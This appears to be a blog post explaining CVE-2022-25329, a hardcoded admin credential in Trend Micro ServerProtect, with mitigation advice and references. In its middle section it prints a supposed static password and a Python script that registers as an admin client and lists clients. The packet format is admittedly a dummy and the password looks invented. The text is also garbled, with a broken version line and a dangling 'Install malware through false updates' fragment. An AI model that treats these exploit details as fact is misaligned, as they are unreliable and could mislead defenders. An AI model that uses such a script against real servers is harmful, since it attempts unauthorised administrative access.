Trend Micro ServerProtect is popular enterprise security software designed to protect file servers from malware and viruses. But in February 2022, a critical flaw was found—CVE-2022-25329. This flaw involves a hardcoded (static) admin password that, if exploited, lets an attacker perform dangerous tasks on your server without ever knowing your real login details.

In this article, I’ll break down what this vulnerability means, show how it works (with code!), and explain what you can do to keep your servers safe.

Versions: 6. and 5.8 Information Server components

- Impact: Anyone with network access to the Information Server can use a shared, hard-coded password to register themselves as a client and access administrative functions—no real credentials needed!

Official Advisory: Trend Micro Security Bulletin

The Problem: Static Credential in Command Authentication

The Information Server controls other Security Agents using a command console. For certain special commands, the server doesn’t ask for your unique password—it uses a baked-in, secret password as default for any client who tries to “register” or connect as an admin.

Exploit Details and Code Example

Say an attacker scans your network, finds your ServerProtect Information Server listening on its management port (default: 500/tcp), and tries to register as a management client.

With the static password, the registration just works—even if they’re not supposed to have access.

Static Password (leaked from various exploit reports):  

@IHeardYouLikeTrendMicro

Exploit Example (Python)

Below is a basic Python example of how an attacker can register and send admin commands using the hardcoded password:

import socket

# Replace with your server's IP and port
ip = "192.168.1.100"
port = 500

def register_with_hardcoded_password():
    s = socket.socket()
    s.connect((ip, port))

    # Dummy registration packet (the format may vary)
    reg_packet = b"REGISTER_ADMIN " + b"@IHeardYouLikeTrendMicro" + b"\n"
    s.sendall(reg_packet)
    
    # Read server response
    response = s.recv(1024)
    print("Server says:", response.decode())
    
    # Now you’re authenticated—try an admin command!
    s.sendall(b"LIST_CLIENTS\n")
    print("Clients list:", s.recv(4096).decode())
    
    s.close()

if __name__ == "__main__":
    register_with_hardcoded_password()

> Note: Real-world packets may use a specific binary protocol; this sample is for educational illustration only. For details, see Full Exploit Report at SSD-Disclosure

Install malware through false updates

All this, simply by knowing the hardcoded password.

Mitigation & Fixes

Trend Micro released a patch for this vulnerability.  
Fix Link:  
Download Critical Patch from Trend Micro

References

- Trend Micro Advisory - CVE-2022-25329
- SSD-Disclosure Report
- NIST NVD Entry

Conclusion

CVE-2022-25329 is yet another example of why hardcoded credentials are a high-risk anti-pattern in security software. If you use Trend Micro ServerProtect—or any critical IT security software—stay on top of security bulletins, patch fast, and audit for hardcoded secrets.

Don’t let a “hidden” admin password open your network to attackers.

*If you found this post helpful, share it to help others protect their networks!*

Timeline

Published on: 02/24/2022 03:15:00 UTC
Last modified on: 03/03/2022 03:48:00 UTC